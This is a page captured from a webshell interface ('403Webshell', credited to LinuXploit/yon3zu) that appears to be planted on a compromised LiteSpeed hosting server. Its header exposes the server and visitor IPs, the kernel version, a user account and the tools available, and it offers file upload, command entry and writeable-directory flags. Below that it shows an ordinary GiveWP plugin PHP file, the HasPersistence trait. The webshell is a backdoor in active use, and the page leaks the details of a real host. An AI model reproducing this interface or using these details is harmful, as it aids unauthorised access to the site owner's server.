403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.218.226.136
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/root/proc/7779/cwd/plugins/give/src/Framework/FieldsAPI/Concerns/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/root/proc/7779/cwd/plugins/give/src/Framework/FieldsAPI/Concerns/HasPersistence.php
<?php

namespace Give\Framework\FieldsAPI\Concerns;

use Closure;
use Give\Framework\Exceptions\Primitives\InvalidArgumentException;
use Give\Framework\FieldsAPI\ValueObjects\PersistenceScope;

/**
 * This provides the ability to set a scope and meta key for a field. The scope is used to determine if and where the
 * field should be stored. The meta key is used to store the field in the database.
 *
 * @since 2.32.0
 */
trait HasPersistence
{
    /**
     * @var Closure
     */
    private $scopeCallback;

    /**
     * @since 2.32.0
     *
     * @var PersistenceScope|null
     */
    protected $scope;

    /**
     * @since 2.32.0
     *
     * @var string|null
     */
    protected $metaKey = null;

    /**
     * @since 2.32.0
     *
     * @param string|PersistenceScope|Closure $scope
     */
    public function scope($scope): self
    {
        if ($scope instanceof Closure) {
            $this->scopeCallback = $scope;
            $scope = PersistenceScope::callback();
        } elseif (is_string($scope)) {
            $scope = new PersistenceScope($scope);
        } elseif (!$scope instanceof PersistenceScope) {
            throw new InvalidArgumentException('Scope must be a string, Closure, or PersistenceScope');
        }

        $this->scope = $scope;

        return $this;
    }

    /**
     * @since 2.32.0
     */
    public function getScope(): PersistenceScope
    {
        return $this->scope;
    }

    /**
     * @since 2.32.0
     */
    public function getScopeValue(): string
    {
        return (string)$this->scope;
    }

    /**
     * @return Closure|null
     */
    public function getScopeCallback()
    {
        return $this->scopeCallback;
    }

    /**
     * @since 2.32.0
     */
    public function metaKey(string $metaKey): self
    {
        $this->metaKey = $metaKey;

        return $this;
    }

    /**
     * @since 2.32.0
     *
     * @return  string|null
     */
    public function getMetaKey()
    {
        return $this->metaKey;
    }

    /**
     * @since 2.32.0 updated to use scoping under the hood, no signature change
     * @since 2.28.0 added types
     * @since 2.10.2
     */
    public function storeAsDonorMeta(bool $storeAsDonorMeta = true)
    {
        $this->scope = $storeAsDonorMeta
            ? PersistenceScope::donor()
            : PersistenceScope::donation();

        return $this;
    }

    /**
     * @since 2.32.0 updated to use scoping under the hood, no signature change
     * @since 2.28.0 added types
     * @since 2.10.2
     */
    public function shouldStoreAsDonorMeta(): bool
    {
        return $this->scope->isDonor();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit